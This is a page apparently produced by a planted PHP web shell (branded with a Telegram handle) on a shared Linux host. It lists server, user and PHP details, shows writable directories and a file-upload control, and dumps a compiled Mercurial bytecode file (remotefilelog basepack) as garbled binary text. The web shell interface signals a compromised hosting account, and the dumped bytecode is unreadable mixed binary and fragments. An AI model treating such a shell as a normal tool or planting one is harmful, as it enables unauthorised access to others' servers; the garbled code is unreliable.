https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/hgext/remotefilelog/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/hgext/remotefilelog/__pycache__/basepack.cpython-310.pyc
o

�]LbJ�@s8ddlmZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZmZddl
mZddlmZmZmZmZddlmZdd	lmZe�d
�ZdZdZeZdZdZdZ d
Z!dZ"ej#rhej$shdZ%ndZ%Gdd�de&�Z'Gdd�de&�Z(Gdd�de&�Z)Gdd�de)�Z*Gdd�de)�Z+Gdd�de&�Z,dS)�)�absolute_importN)�_)�getattr�open)�hex)�policy�pycompat�util�vfs)�hashutil�)�shallowutil�osutil����i g�������?srbesrbc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�_cachebackedpackscCsJt|�|_t�|�|_d|_ttt|t	|����D]	}|�
||�qdS�N)�set�_packsr	�lrucachedict�	_lrucache�	_lastpack�reversed�range�min�len�_movetofront)�self�packs�	cachesize�i�r!�>/usr/lib/python3/dist-packages/hgext/remotefilelog/basepack.py�__init__Es
�z_cachebackedpacks.__init__cCsd|j|<dS)NT)r�r�packr!r!r"rOsz_cachebackedpacks._movetofrontcCs$|jdur|�|j�d|_dSdSr)rr�rr!r!r"�_registerlastpackusageSs

�z(_cachebackedpacks._registerlastpackusagecCs"|��|�|�|j�|�dSr)r'rr�addr$r!r!r"r(Xs
z_cachebackedpacks.addccsX�|��|jD]}||_|Vqdd�|jD�}|j|D]}||_|Vqd|_dS)NcSsh|]}|�qSr!r!)�.0r%r!r!r"�	<setcomp>hsz-_cachebackedpacks.__iter__.<locals>.<setcomp>)r'rrr)rr%�cachedpacksr!r!r"�__iter__`s�

z_cachebackedpacks.__iter__N)�__name__�
__module__�__qualname__r#rr'r(r,r!r!r!r"rDs
rc@sbeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ddd�Zdd�Zdd�Z
dS)�
basepackstore�dcCs�||_||_d|_g}|��D]8\}}}z|�|�}Wn&tyA}zt|dd�tjkr7|�	t
d�||f�WYd}~qd}~ww|�|�qt||j
�|_dS)Nr�errnosunable to load pack %s: %s
)�ui�path�lastrefresh�_getavailablepackfilessorted�getpack�	Exceptionrr2�ENOENT�warnr�appendr�DEFAULTCACHESIZEr)rr3r4r�filepath�__r%�exr!r!r"r#vs��zbasepackstore.__init__c
cs8�t|j�}t|j�}t�}t�dd��}t�dd��}zetj|jdd�D]Y\}}}d}	||d�|jkr>|d|�}	n||d�|jkrO|d|�}	|	r~||	|j	7<||	�
|j�|	|vrytj�
|j|	�t||	�||	fVq%|�|	�q%WdSty�}
z|
jtjkr��WYd}
~
dSd}
~
ww)z�For each pack file (a index/data file combo), yields:
          (full path without extension, mtime, size)

        mtime will be the mtime of the index/data file (whichever is newer)
        size is the combined size of index/data file
        cSsdS)Nrr!r!r!r!r"�<lambda>��z6basepackstore._getavailablepackfiles.<locals>.<lambda>cSsgSrr!r!r!r!r"r@�rAT)�statN)r�INDEXSUFFIX�
PACKSUFFIXr�collections�defaultdictr�listdirr4�st_sizer;�st_mtime�os�join�maxr(�OSErrorr2r9)r�indexsuffixlen�
packsuffixlen�ids�sizes�mtimes�filename�typerB�idr?r!r!r"�_getavailablepackfiles�s<�


�
�����z$basepackstore._getavailablepackfilesccsV�g}|��D]
\}}}|�|||f�qt|dd�}|D]\}}}|||fVqdS)z�Like `_getavailablepackfiles`, but also sorts the files by mtime,
        yielding newest files first.

        This is desirable, since it is more likely newer packfiles have more
        desirable data.
        T)�reverseN)rVr;�sorted)r�filesr4�mtime�sizer!r!r"r6�s��z*basepackstore._getavailablepackfilessortedcCs4d}d}|��D]
\}}}||7}|d7}q||fS)aLReturns the total disk size (in bytes) of all the pack files in
        this store, and the count of pack files.

        (This might be smaller than the total size of the ``self.path``
        directory, since this only considers fuly-writen pack files, and not
        temporary files or other detritus on the directory.)
        rr)rV)r�	totalsize�countr>r[r!r!r"�gettotalsizeandcount�s
z"basepackstore.gettotalsizeandcountcCs|��\}}||d�S)z+Returns metrics on the state of this store.)snumpackss
totalpacksize)r^)rr[r]r!r!r"�
getmetrics�s�zbasepackstore.getmetricscC�t��r��NotImplementedError)rr4r!r!r"r7��zbasepackstore.getpackcCsF|}|jD]
}|�|�}|s|Sq|r!|��D]}|�|�}q|Sr)r�
getmissing�refresh)r�keys�missingr%r!r!r"rd�s

�zbasepackstore.getmissingNcCs|jD]}|�|�qdSr)r�
markledger)r�ledger�optionsr%r!r!r"rh�s
�zbasepackstore.markledgercCs
d|_dS)z~Tells the store that there may be new pack files, so the next time it
        has a lookup miss it should check for new files.rN)r5r&r!r!r"�markforrefresh�s
zbasepackstore.markforrefreshcCspt��}g}||jtkr6||_dd�|jD�}|��D]\}}}||vr5|�|�}|�|�|j�|�q|S)ztChecks for any new packs on disk, adds them to the main pack list,
        and returns a list of just the new packs.cSsh|]}|j�qSr!)r4)r)�pr!r!r"r*sz(basepackstore.refresh.<locals>.<setcomp>)�timer5�REFRESHRATErr6r7r;r()r�now�newpacks�previousr=r>�newpackr!r!r"re�s

�zbasepackstore.refreshr)r-r.r/r<r#rVr6r^r_r7rdrhrkrer!r!r!r"r0rs'
r0c@seZdZdZdgZdd�ZdS)�versionmixinNrcCsD||jvr|jdur||_dS|j|krtd|��dStd|��)Nsinconsistent version: %dsunsupported version: %d)�SUPPORTED_VERSIONS�VERSION�RuntimeError)r�versionr!r!r"�
_checkversions



�zversionmixin._checkversion)r-r.r/rurtrxr!r!r!r"rssrsc@sleZdZdZdgZdd�Zejdd��Zejdd��Z	d	d
�Z
dd�Zddd�Zdd�Z
dd�Zdd�Zd
S)�basepacki@rcCs�||_||j|_||j|_t�|j�j|_t�|j�j|_	d|_
d|_|��t
�d|jdt��d}|�|�t
�d|j
dt��\}}|�|�d|@rYtt|�|_dStt|�|_dS)N�!Br�!BB�)r4rD�packpathrC�	indexpathrJrBrH�	indexsize�datasize�_index�_data�
freememory�struct�unpack�PACKVERSIONSIZErx�INDEXVERSIONSIZE�indexparams�LARGEFANOUTPREFIX�params�SMALLFANOUTPREFIX)rr4rw�configr!r!r"r#'s

zbasepack.__init__cCsd|j}|jtt|j�}g}t�d|j�D]}|d}t�d|||d��d}|�	|�q|S)Nr��!I)
r�r��FANOUTSTART�
fanoutsizer�xrange�fanoutcountr�r�r;)rr��	rawfanout�fanouttabler �loc�fanoutentryr!r!r"�_fanouttable>szbasepack._fanouttablecCs.t�d|j|jjd�d}|jj||jS)N�!Q�r)r��unpack_fromr�r��
indexstart�INDEXENTRYLENGTH)r�	nodecountr!r!r"�	_indexendIs��zbasepack._indexendcCs�|jr|j|jkrdS|j��|j��t|jt��}tj|�	�dtj
d�|_Wd�n1s2wYt|jt��}tj|�	�dtj
d�|_Wd�n1sTwYd|_dS)z�Unmap and remap the memory to free it up after known expensive
        operations. Return True if self._data and self._index were reloaded.
        Fr)�accessNT)r��_pagedin�
MAXPAGEDIN�closer�rr~�PACKOPENMODE�mmap�fileno�ACCESS_READr})r�indexfp�datafpr!r!r"r�Ps


���zbasepack.freememorycCr`rra)rrfr!r!r"rdgrczbasepack.getmissingNcCr`rra)rrirjr!r!r"rhjrczbasepack.markledgercCr`rra)rrir!r!r"�cleanupmrczbasepack.cleanupcCr`rrar&r!r!r"r,prczbasepack.__iter__cCr`rrar&r!r!r"�iterentriessrczbasepack.iterentriesr)r-r.r/r�rtr#r	�
propertycacher�r�r�rdrhr�r,r�r!r!r!r"ry s



ryc@s`eZdZddd�Zdd�Zdd�Zdd	�Zd
d�Zdd
d�Zdd�Z	dd�Z
dd�Zdd�ZdS)�mutablebasepackrcCs�|�|�d|_t�|�}d|_||_i|_t�||�|j	|j
dd�\|_|_|j	|j
dd�\|_|_t�|jd�|_t�|jd�|_t��|_d|_|�|�|j��|�|�|j��t�d|j�}|�|�dS)NsGZi$s-tmp)�suffixzwb+Frz)rx�_compressor�vfsmodr
�
createmode�opener�entriesr
�mkstickygroupdir�mkstemprD�packfpr}rC�idxfp�idxpathrJ�fdopenr�sha1�sha�_closed�_fixfilemoderKr�r%ru�writeraw)rr3�packdirrwr��
versionbufr!r!r"r#xs*

��
zmutablebasepack.__init__cCs|Srr!r&r!r!r"�	__enter__�szmutablebasepack.__enter__cCs |dur
|��dS|��dSr)r��abort)r�exc_type�	exc_value�	tracebackr!r!r"�__exit__�szmutablebasepack.__exit__cCs|��dSr)�_cleantemppacksr&r!r!r"r��szmutablebasepack.abortcCs|j�|�|j�|�dSr)r��writer��update)r�datar!r!r"r��szmutablebasepack.writerawNcCs|jrdSz_t|j���}|j��|��t|j�dkr'|�	�d|_WdS|j
�|j||j
�z
|j
�|j||j�Wn#tyb}zz|j
�||j
�W|�ty]Y|�wd}~wwWntyp|�	��wd|_|j
�|�}|r�|�|�|S)NrT)r�rr��digestr�r��
writeindexrr�r�r��renamer}rDr�rCr8�unlinkrK�
addcreated)rrir�r?�resultr!r!r"r��sB
�����	�
zmutablebasepack.closecCsPz	|j�|j�Wn	tyYnwz
|j�|j�WdSty'YdSwr)r�r�r}r8r�r&r!r!r"r��s��zmutablebasepack._cleantemppackscCs2t|j�tk}|rtt|j�}ntt|j�}tg|j}i}d}t	|j�D]'}||j
}|||<|d7}t�|j
|d|j��d}||tkrL|||<q%d}	d}
|D]}|tkr[|n|
}|}
|	t�d|�7}	qSt�dt|j��}|�|dt|	��}
|�|�|j�|	�|j�|�|j�|
�|j��dS)Nrr�r�r�r)rr��SMALLFANOUTCUTOFFr�r�rur��EMPTYFANOUTr�rXr�r�r��fanoutstruct�fanoutprefixr%�createindex�_writeheaderr�r�r�)r�largefanoutr�r��	locationsr]�node�location�	fanoutkey�rawfanouttable�last�offset�rawentrieslength�rawindexr!r!r"r��s@
���
zmutablebasepack.writeindexcCr`rra)r�
nodelocationsr!r!r"r�rczmutablebasepack.createindexcCs.d}|jtkr	d}|j�t�d|j|��dS)Nrr|r{)r�r�r�r�r�r%ru)rr�r�r!r!r"r�s
zmutablebasepack._writeheader)rr)
r-r.r/r#r�r�r�r�r�r�r�r�r�r!r!r!r"r�ws
"
%
+r�c@seZdZdZdd�ZdS)r�)r�r�r�r�r�cCsj||_|tkrd|_n|tkrd|_ntd|��d|d|_|jd|_t|j|_|jd7_dS)Nrzs!Hsinvalid fanout prefix size: %srr�r�)	r�r�r�r��
ValueErrorr�r�r�r�)r�
prefixsizerwr!r!r"r#szindexparams.__init__N)r-r.r/�	__slots__r#r!r!r!r"r�sr�)-�
__future__rrEr2r�rJr�rm�mercurial.i18nr�mercurial.pycompatrr�mercurial.noder�	mercurialrrr	r
r��mercurial.utilsr�r
�	importmodrr�r�r�r�r�r�r�rn�isposix�ispy3r��objectrr0rsryr�r�r!r!r!r"�<module>sB
	.W

https://t.me/RX1948 - 2025